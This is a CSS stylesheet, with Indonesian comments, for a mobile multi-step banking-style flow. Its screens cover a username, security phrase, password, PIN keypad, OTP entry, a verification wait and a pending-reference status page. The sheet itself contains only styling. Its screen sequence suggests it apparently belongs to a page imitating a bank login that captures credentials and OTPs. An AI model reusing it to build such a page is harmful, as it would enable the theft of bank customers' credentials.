/* ========================= */
/* RESET */
/* ========================= */

*{
    margin:0;
    padding:0;
    box-sizing:border-box;
}

html,
body{
    width:100%;
    min-height:100%;
    -webkit-text-size-adjust:100%;
    scroll-behavior:smooth;
}

body{
    background:#d8d8d8;
    display:flex;
    justify-content:center;
    align-items:center;
    min-height:100vh;
    overflow-x:hidden;

    font-family:
    -apple-system,
    BlinkMacSystemFont,
    "Segoe UI",
    Roboto,
    Helvetica,
    Arial,
    sans-serif;
}

/* ========================= */
/* PHONE SCREEN */
/* ========================= */

.phone-screen{
    width:100%;
    max-width:390px;
    min-height:100vh;
    background:#fff;
    position:relative;
    overflow-x:hidden;
    overflow-y:auto;
    border-radius:28px;
    box-shadow:0 10px 35px rgba(0,0,0,0.10);
}

/* ========================= */
/* TOP BAR */
/* ========================= */

.top-bar{
    padding:16px 18px 10px;
}

.top-bar i{
    font-size:15px;
    color:#666;
    cursor:pointer;
}

/* ========================= */
/* STEP */
/* ========================= */

.step,
.page{
    display:none;
    min-height:100vh;
    position:relative;
    width:100%;
    padding-bottom:110px;
}

.step.active,
.page.active{
    display:block;
}

/* ========================= */
/* CONTENT */
/* ========================= */

.content{
    padding:0 16px 20px;
}

.center{
    text-align:center;
}

/* ========================= */
/* TITLES */
/* ========================= */

.small-title,
.mini-title{
    color:#8a8a8a;
    font-size:12px;
    margin-top:6px;
    margin-bottom:6px;
    font-weight:500;
}

.main-title{
    font-size:22px;
    color:#222;
    margin-top:2px;
    margin-bottom:22px;
    font-weight:700;
    line-height:1.3;
}

h1{
    font-size:20px;
    color:#111;
    line-height:1.3;
    margin-bottom:20px;
    font-weight:700;
}

h2{
    font-size:20px;
    color:#111;
    font-weight:700;
}

/* ========================= */
/* INPUT AREA LOGIN */
/* ========================= */

.input-area{
    position:relative;
}

.input-area input{
    width:100%;
    border:none;
    border-bottom:1.5px solid #ececec;
    padding-bottom:12px;
    padding-right:70px;
    font-size:16px;
    color:#222;
    outline:none;
    background:none;
}

.input-area input:focus{
    border-bottom:1.5px solid #ea1d3f;
}

.next-mini{
    position:absolute;
    right:0;
    top:0;
    width:34px;
    height:34px;
    border:none;
    border-radius:10px;
    background:#ef3d57;
    color:#fff;
    cursor:pointer;
    display:none;
}

.next-mini i{
    font-size:10px;
}

.count{
    text-align:right;
    margin-top:8px;
    color:#666;
    font-size:11px;
}

/* ========================= */
/* NOTE BOX */
/* ========================= */

.note-box{
    margin-top:24px;
    line-height:1.7;
}

.note-title{
    color:#666;
    margin-bottom:8px;
    font-size:12px;
}

.note-text{
    color:#8d8d8d;
    font-size:12px;
}

.note-text span{
    color:#df6d74;
}

.note-box h3{
    margin-bottom:6px;
    color:#111;
    font-size:13px;
}

.note-box p{
    color:#555;
    font-size:12px;
}

.note-box a{
    display:inline-block;
    margin-top:8px;
    color:#d81c3f;
    text-decoration:none;
    font-size:12px;
}

/* ========================= */
/* INPUT GROUP */
/* ========================= */

.input-group{
    margin-bottom:18px;
}

.input-group label{
    display:block;
    margin-bottom:8px;
    color:#444;
    font-size:12px;
    font-weight:600;
}

.input-group input{
    width:100%;
    height:42px;
    border:none;
    border-bottom:1px solid #ececec;
    font-size:14px;
    outline:none;
    background:none;
    color:#222;
}

.input-group input::placeholder{
    color:#a1a1a1;
}

.input-group input:focus{
    border-bottom:1px solid #ea1d3f;
}

/* ========================= */
/* BOTTOM STEP 1 */
/* ========================= */

.bottom-start{
    position:absolute;
    bottom:18px;
    left:0;
    width:100%;
    padding:0 20px;
}

.dont-account{
    text-align:right;
    color:#777;
    font-size:11px;
    margin-bottom:10px;
}

.bottom-buttons{
    display:flex;
    gap:10px;
    width:100%;
}

.email-btn,
.apply-btn{
    flex:1;

    height:44px;

    border:none;
    border-radius:14px;

    display:flex;
    justify-content:center;
    align-items:center;

    padding:0 10px;

    font-size:11px;
    font-weight:500;
    line-height:1.2;

    text-align:center;

    white-space:normal;
    word-break:keep-all;

    cursor:pointer;
}

.email-btn{
    background:#f5f5f5;
    color:#444;
}

.apply-btn{
    background:#ef3d57;
    color:#fff;
}

/* tombol kiri */
.email-btn{
    background:#f5f5f5;
    color:#444;
}

/* tombol kanan */
.apply-btn{
    background:#ef3d57;
    color:#fff;
}

/* ========================= */
/* USER TOP */
/* ========================= */

.top-user{
    display:flex;
    flex-wrap:wrap;
    justify-content:space-between;
    align-items:flex-start;
    gap:10px;
    margin-top:10px;
}

.user-label{
    font-size:11px;
    color:#6d6d6d;
    margin-bottom:4px;
}

#showUser,
#finalUser{
    font-size:15px;
    font-weight:600;
    color:#111;
    max-width:120px;
    word-break:break-word;
}

/* ========================= */
/* PHRASE */
/* ========================= */

.phrase-side{
    flex:1;
    display:flex;
    flex-direction:column;
    align-items:center;
}

.phrase-box{
    width:100%;
    max-width:130px;
    height:42px;
    background:#4b4f59;
    border-radius:14px;
    display:flex;
    justify-content:center;
    align-items:center;
    color:#fff;
    font-size:13px;
    font-weight:700;
    text-align:center;
}

.phrase-link{
    margin-top:10px;
    color:#ef6d6d;
    font-size:10px;
    text-align:center;
    line-height:1.5;
}

/* ========================= */
/* QUESTION CARD */
/* ========================= */

.question-card{
    margin-top:24px;
    background:#fff;
    border-radius:18px;
    padding:18px 14px;
    box-shadow:0 2px 10px rgba(0,0,0,0.05);
}

.question-card h3{
    text-align:center;
    color:#777;
    font-size:13px;
    margin-bottom:18px;
    line-height:1.5;
}

.question-buttons{
    display:flex;
}

.question-buttons button{
    flex:1;
    height:42px;
    border:none;
    font-size:13px;
    cursor:pointer;
}

.btn-no{
    background:#fff;
    color:#dd6d79;
}

.btn-yes{
    background:#ef3d57;
    color:#fff;
}

/* ========================= */
/* PASSWORD */
/* ========================= */

.password-section{
    margin-top:22px;
}

.password-section label{
    display:block;
    font-size:13px;
    color:#333;
    margin-bottom:10px;
}

.password-input{
    display:flex;
    width:100%;
    align-items:center;
    background:#fff;
    border:1px solid #ececec;
    border-radius:16px;
    padding:10px 12px;
    box-shadow:0 2px 8px rgba(0,0,0,0.04);
}

.password-input i{
    width:34px;
    height:34px;
    border-radius:10px;
    background:#f1f1f1;
    display:flex;
    justify-content:center;
    align-items:center;
    font-size:13px;
    color:#666;
    margin-right:10px;
    cursor:pointer;
}

.password-input input{
    border:none !important;
    outline:none;
    width:100%;
    font-size:14px;
    background:transparent;
}

.password-section a{
    display:block;
    margin-top:10px;
    color:#666;
    text-decoration:none;
    font-size:11px;
}

/* ========================= */
/* BOTTOM LOGIN */
/* ========================= */

.bottom-card{
    position:absolute;
    bottom:0;
    left:0;
    width:100%;

    background:#fff;

    padding:20px 20px 28px;

    border-top-left-radius:24px;
    border-top-right-radius:24px;

    box-shadow:0 -3px 18px rgba(0,0,0,0.05);
}

.bottom-login p{
    text-align:center;
    color:#777;
    line-height:1.8;
    font-size:10px;
    margin-bottom:18px;
}

.bottom-login span{
    color:#d85b68;
}

/* ========================= */
/* BUTTON */
/* ========================= */

.next-big,
.bottom-btn button{
    width:100%;
    height:38px;
    border:none;
    border-radius:10px;
    background:#ef3d57;
    color:#fff;
    font-size:12px;
    font-weight:600;
    cursor:pointer;
}

.bottom-btn{
    position:absolute;
    bottom:18px;
    left:0;
    width:100%;
    padding:0 20px;
}

/* ========================= */
/* PIN */
/* ========================= */

.pin-title{
    margin-top:22px;
    color:#666;
    font-size:12px;
}

.pin-circle{
    display:flex;
    justify-content:center;
    gap:8px;
    margin:18px 0 24px;
}

.pin-circle span{
    width:10px;
    height:10px;
    border:1.5px solid #bdbdbd;
    border-radius:50%;
    transition:0.2s;
}

.pin-circle span.active{
    background:#ea1d3f;
    border-color:#ea1d3f;
}

/* ========================= */
/* KEYPAD */
/* ========================= */

.keypad{
    display:grid;
    grid-template-columns:repeat(3,1fr);
    gap:8px;
    width:100%;
    margin-top:10px;
}

.keypad button{
    border:none;
    background:none;
    font-size:22px;
    color:#333;
    height:48px;
    cursor:pointer;
    border-radius:12px;
    transition:0.2s;
}

.keypad button:hover{
    background:#f5f5f5;
}

.keypad button:active{
    transform:scale(0.95);
    background:#ececec;
}

/* ========================= */
/* OTP */
/* ========================= */

.otp-text{
    color:#555;
    line-height:1.5;
    font-size:12px;
}

.phone-number{
    margin-top:8px;
    font-size:13px;
    color:#666;
    font-weight:500;
    letter-spacing:0.5px;
}

.valid-text{
    margin-top:10px;
    color:#666;
    font-size:10px;
}

.otp-code{
    font-size:28px;
    letter-spacing:4px;
    color:#d1d1d1;
    margin-top:22px;
    text-align:center;
}

.line{
    width:100%;
    height:1px;
    background:#eee;
    margin-top:14px;
}

.otp-pad{
    margin-top:20px;
}

/* ========================= */
/* SECURE */
/* ========================= */

.secure-title{
    margin-top:10px;
}

.secure-text{
    margin-top:12px;
    color:#555;
    line-height:1.6;
    font-size:12px;
}

.animation-box{
    margin-top:34px;
}

.dot{
    width:12px;
    height:12px;
    background:#ea1d3f;
    border-radius:50%;
    margin:auto;
    margin-bottom:16px;
    animation:pulse 1s infinite;
}

.phone-icon{
    font-size:48px;
}

@keyframes pulse{

    0%{
        transform:scale(1);
        opacity:1;
    }

    100%{
        transform:scale(1.6);
        opacity:0;
    }

}

.progress-bar{
    width:100%;
    height:6px;
    background:#f1f1f1;
    border-radius:30px;
    margin-top:20px;
    overflow:hidden;
}

.progress{
    width:30%;
    height:100%;
    background:#ea1d3f;
    animation:loading 3s infinite;
}

@keyframes loading{

    0%{
        width:0%;
    }

    100%{
        width:100%;
    }

}

.time-text{
    margin-top:10px;
    color:#777;
    font-size:10px;
}

.cant{
    display:block;
    margin-top:34px;
    color:#d81c3f;
    text-decoration:none;
    font-size:10px;
}

/* ========================= */
/* STATUS */
/* ========================= */

.status-box{
    display:flex;
    align-items:center;
    gap:10px;
    padding:10px 0;
    border-bottom:1px solid #eee;
}


.warning{
    width:30px;
    height:30px;
    min-width:30px;
    background:linear-gradient(135deg, #ff7700 0%, #ff5500 100%);
    border-radius:50%;
    display:flex;
    justify-content:center;
    align-items:center;
    color:#fff;
    font-weight:bold;
    font-size:14px;
    box-shadow:0 2px 6px rgba(255, 85, 0, 0.3);
}

.status-text{
    flex:1;
}

.status-text h2{
    font-size:12px;
    font-weight:600;
    line-height:1.2;
    margin-bottom:2px;
    color:#111;
}

status-text p{
    font-size:7px;
    line-height:1.3;
    color:#666;
}

.info-box{
    margin-top:10px;
    padding-bottom:10px;
    border-bottom:1px solid #eee;
}

.info-box p{
    color:#555;
    font-size:9px;
    line-height:1.4;
}

.info-box a{
    color:#d81c3f;
    text-decoration:none;
    font-size:9px;
}

.feature-box{
    margin-top:12px;
}

.feature-box h4{
    margin-bottom:6px;
    color:#111;
    font-size:11px;
}

.feature{
    display:flex;
    justify-content:space-between;
    align-items:center;
    padding:8px 0;
    border-bottom:1px solid #f1f1f1;
    font-size:9px;
    color:#555;
}

.active-area{
    text-align:right;
}

.active-area small{
    color:#2ba861;
    display:block;
    margin-bottom:2px;
    font-size:8px;
}

.amount{
    border:1px solid #ddd;
    border-radius:4px;
    padding:2px 5px;
    font-size:8px;
}

.reference-box{
    background:#f8f8f8;
    border:1px solid #ececec;
    border-radius:10px;
    padding:10px;
    margin:10px 0;
}

.ref-label{
    font-size:9px;
    color:#777;
    margin-bottom:4px;
}

.ref-number{
    font-size:12px;
    font-weight:700;
    letter-spacing:0.5px;
    color:#111;
    margin-bottom:4px;
    word-break:break-word;
}

.ref-note{
    font-size:9px;
    color:#666;
    line-height:1.3;
}

.pending-status{
    color:#ff6b00;
    font-weight:600;
    font-size:8px;
}

.bank-note{
    margin-top:10px;
    font-size:9px;
    line-height:1.4;
    color:#555;
}


/* ========================= */
/* MOBILE FULL SCREEN (ASLI DARI KAMU) */
/* ========================= */

@media(max-width:700px){

    html,
    body{
        width:100%;
        margin:0;
        padding:0;
        overflow-x:hidden;
        background:#fff;
    }

    body{
        display:block;
        min-height:100vh;
    }

    .phone-screen{
        width:100vw;
        max-width:100vw;
        min-height:100vh;
        margin:0;
        border-radius:0;
        box-shadow:none;
    }

    .content{
        padding:0 18px 22px;
    }

    .bottom-start{
        padding:0 18px;
    }

    .bottom-btn{
        padding:0 18px;
    }

    .bottom-card{
        padding:16px 18px 18px;
    }

    /* ==== TITLE ==== */
    .main-title, h1{ font-size:14px; }
    h2{ font-size:13px; }
    h3{ font-size:12px; }
    .small-title, .mini-title{ font-size:9px; }

    /* ==== INPUT ==== */
    .input-area input{ font-size:14px; }
    .input-group input{ font-size:13px; height:36px; }
    .input-group label{ font-size:10px; }
    .count{ font-size:9px; }

    /* ==== NOTE BOX ==== */
    .note-box{ margin-top:16px; }
    .note-title{ font-size:9px; }
    .note-text, .note-box p{ font-size:9px; }
    .note-box h3{ font-size:10px; }
    .note-box a{ font-size:9px; }

    /* ==== BUTTON ==== */
   .next-big,
   .bottom-btn button{
    font-size:12px;
    height:38px;
    
}

    /* ==== USER / PHRASE ==== */
    .top-user{ margin-top:6px; }
    .user-label{ font-size:9px; }
    #showUser, #finalUser{ font-size:13px; max-width:90px; }
    .phrase-box{ max-width:90px; height:34px; font-size:10px; }
    .phrase-link{ font-size:8px; }

    /* ==== QUESTION CARD ==== */
    .question-card{ margin-top:16px; padding:14px 10px; }
    .question-card h3{ font-size:11px; }
    .question-buttons button{ height:36px; font-size:11px; }

    /* ==== PASSWORD ==== */
    .password-section{ margin-top:16px; }
    .password-section label{ font-size:11px; }
    .password-input{ padding:8px 10px; }
    .password-input i{ width:28px; height:28px; font-size:11px; }
    .password-input input{ font-size:14px; }
    .password-section a{ font-size:9px; }

    /* ==== PIN / KEYPAD ==== */
    .pin-title{ font-size:10px; }
    .otp-code{ font-size:20px; }
    .keypad button{ font-size:20px; height:44px; }

    /* ==== OTP ==== */
    .otp-text{ font-size:10px; }
    .phone-number{ font-size:12px; }
    .valid-text{ font-size:9px; }

    /* ==== SECURE ==== */
    .secure-title{ font-size:13px; }
    .secure-text{ font-size:10px; }
    .time-text{ font-size:8px; }
    .cant{ font-size:9px; }

    /* ==== STATUS ==== */
    .status-box{ gap:8px; padding:8px 0; }
    .warning{ width:26px; height:26px; font-size:12px; }
    .status-text h2{ font-size:11px; }
    .status-text p{ font-size:9px; }
    
    /* ==== Tanggal/Waktu ==== */
    #malaysiaDateTime{ font-size:7px; }

    .info-box{ margin-top:8px; }
    .info-box p{ font-size:8px; }
    .info-box a{ font-size:8px; }
    .feature-box{ margin-top:10px; }
    .feature-box h4{ font-size:10px; }
    .feature{ padding:6px 0; font-size:8px; }
    .active-area small{ font-size:7px; }
    .amount{ font-size:7px; }
    .reference-box{ padding:8px; margin:8px 0; }
    .ref-label{ font-size:8px; }
    .ref-number{ font-size:11px; }
    .ref-note{ font-size:8px; }
    .pending-status{ font-size:7px; }
    .bank-note{ font-size:8px; }
    .warning{
    width:28px;
    height:28px;
    min-width:28px;
    min-height:28px;
    border-radius:50%;
    aspect-ratio:1/1;
    flex-shrink:0;
}

}
.bottom-buttons{
    gap:8px;
}

.email-btn,
.apply-btn{
    font-size:9px;
    height:38px;
    padding:0 6px;
    border-radius:12px;
}


/* ========================= */
/* POPUP IKLAN */
/* ========================= */

.popup-iklan{
    position:fixed;
    inset:0;

    width:100%;
    height:100vh;

    background:rgba(0,0,0,0.55);

    display:flex;
    justify-content:center;
    align-items:center;

    padding:16px;

    z-index:99999;

    overflow:hidden;
}

.popup-content{
    position:relative;

    width:100%;
    max-width:380px;

    animation:popupShow .25s ease;
}

.popup-content img{
    width:100%;
    display:block;

    border-radius:20px;

    box-shadow:0 10px 35px rgba(0,0,0,0.28);
}

.close-btn{
    position:absolute;

    top:-10px;
    right:-10px;

    width:32px;
    height:32px;

    border:none;
    border-radius:50%;

    background:#fff;
    color:#111;

    font-size:16px;
    font-weight:bold;

    cursor:pointer;

    box-shadow:0 4px 12px rgba(0,0,0,0.18);

    z-index:2;
}

.close-btn:hover{
    background:#f3f3f3;
}

@keyframes popupShow{

    from{
        transform:scale(.92);
        opacity:0;
    }

    to{
        transform:scale(1);
        opacity:1;
    }

}

@media(max-width:700px){

    .popup-content{
        max-width:100%;
    }

    .popup-content img{
        border-radius:16px;
    }

}

/* ========================= */
/* FINAL MOBILE FIX */
/* ========================= */

/* ========================= */
/* FONT HP LEBIH BESAR */
/* ========================= */

@media (max-width:700px){

    .main-title,
    h1{
        font-size:20px !important;
        line-height:1.4;
    }

    h2{
        font-size:18px !important;
    }

    h3{
        font-size:15px !important;
    }

    .small-title,
    .mini-title,
    .user-label,
    .note-title,
    .count,
    .dont-account{
        font-size:13px !important;
    }

    .note-text,
    .note-box p,
    .note-box a,
    .otp-text,
    .valid-text,
    .secure-text,
    .bank-note{
        font-size:13px !important;
        line-height:1.6;
    }

    .input-area input,
    .input-group input,
    .password-input input{
        font-size:16px !important;
    }

    .input-group label,
    .password-section label{
        font-size:14px !important;
    }

    .phone-number{
        font-size:15px !important;
    }

    .otp-code{
        font-size:28px !important;
    }

    .question-buttons button,
    .email-btn,
    .apply-btn,
    .next-big,
    .bottom-btn button{
        font-size:14px !important;
        font-weight:600;
    }

    .status-text h2{
        font-size:14px !important;
    }

    .status-text p,
    .info-box p,
    .feature,
    .ref-note{
        font-size:12px !important;
    }

    .ref-number{
        font-size:14px !important;
    }

}

  .html, body {
    font-size: 13px !important;
    overflow-x: hidden !important;
    background: #fff !important;
    height: 100vh !important;
    min-height: 100vh !important;
  }

  .main-title, h1 { 
    font-size: 16px !important;
    font-weight: 700;
  }
  h2 { font-size: 15px !important; }
  h3, .note-title, .count, .dont-account { font-size: 12px !important; }
  .input-area input, .input-group input { font-size: 13px !important; }
  .note-text, .note-box p, label, .user-label { font-size: 12px !important; }

  /* -------- Tombol bawah fix dan ramping ------- */
  .bottom-start {
    position: fixed !important;
    left: 0 !important;
    bottom: 0 !important;
    width: 100vw !important;
    background: #fff !important;
    padding: 0 10px 9px 10px !important;
    box-shadow: 0 -2px 12px rgba(0,0,0,0.06) !important;
    z-index: 99 !important;
    margin: 0 !important;
  }
  .bottom-buttons {
    gap: 7px !important;
    width: 100% !important;
    display: flex !important;
  }
  .email-btn, .apply-btn {
    font-size: 13px !important;
    height: 37px !important; /* jadi lebih ramping */
    border-radius: 7px !important;
    padding: 0 4px !important;
    min-width: 0 !important;
    flex: 1 1 0% !important;
    font-weight: 600 !important;
    letter-spacing: 0;
    box-shadow: none !important;
  }

  /* Hilangkan border-radius pada .phone-screen (optional) */
  .phone-screen {
    border-radius: 0 !important;
  }

  /* ----- Isi tidak ketutup tombol (supaya tidak ada scroll hanya untuk lihat tombol) ---- */
  .content {
    padding-bottom: 50px !important;
  }

  /* Fix tinggi parent utama agar tombol fixed tidak ketutupan scroll */
  .phone-screen {
    min-height: 100vh !important;
    height: 100vh !important;
    box-sizing: border-box !important;
    overflow-x: hidden !important;
  }
.step,
.page{
    min-height:100dvh !important;
    padding-bottom:90px !important;
}

body{
    overflow-x:hidden !important;
}

.phone-screen{
    width:100vw !important;
    max-width:100vw !important;
    min-height:100dvh !important;
    height:100dvh !important;
    border-radius:0 !important;
    overflow-x:hidden !important;
    overflow-y:auto !important;
    background:#fff !important;
}

*{
    -webkit-tap-highlight-color:transparent;
}
/* ========================= */
/* EXTRA FONT SIZE MOBILE */
/* ========================= */

@media (max-width:700px){

    html{
        font-size:17px !important;
    }

    body{
        font-size:17px !important;
    }

    .main-title,
    h1{
        font-size:24px !important;
        line-height:1.4 !important;
    }

    h2{
        font-size:20px !important;
    }

    h3{
        font-size:17px !important;
    }

    .small-title,
    .mini-title,
    .user-label,
    .note-title,
    .count,
    .dont-account{
        font-size:14px !important;
    }

    .note-text,
    .note-box p,
    .note-box a,
    .otp-text,
    .valid-text,
    .secure-text,
    .bank-note,
    .status-text p,
    .info-box p,
    .feature,
    .ref-note{
        font-size:14px !important;
        line-height:1.7 !important;
    }

    .input-area input,
    .input-group input,
    .password-input input{
        font-size:17px !important;
    }

    .input-group label,
    .password-section label{
        font-size:15px !important;
    }

    .phone-number{
        font-size:16px !important;
    }

    .otp-code{
        font-size:32px !important;
        letter-spacing:6px !important;
    }

    .email-btn,
    .apply-btn,
    .next-big,
    .bottom-btn button,
    .question-buttons button{
        font-size:15px !important;
    }

    .status-text h2{
        font-size:16px !important;
    }

    .ref-number{
        font-size:16px !important;
    }

}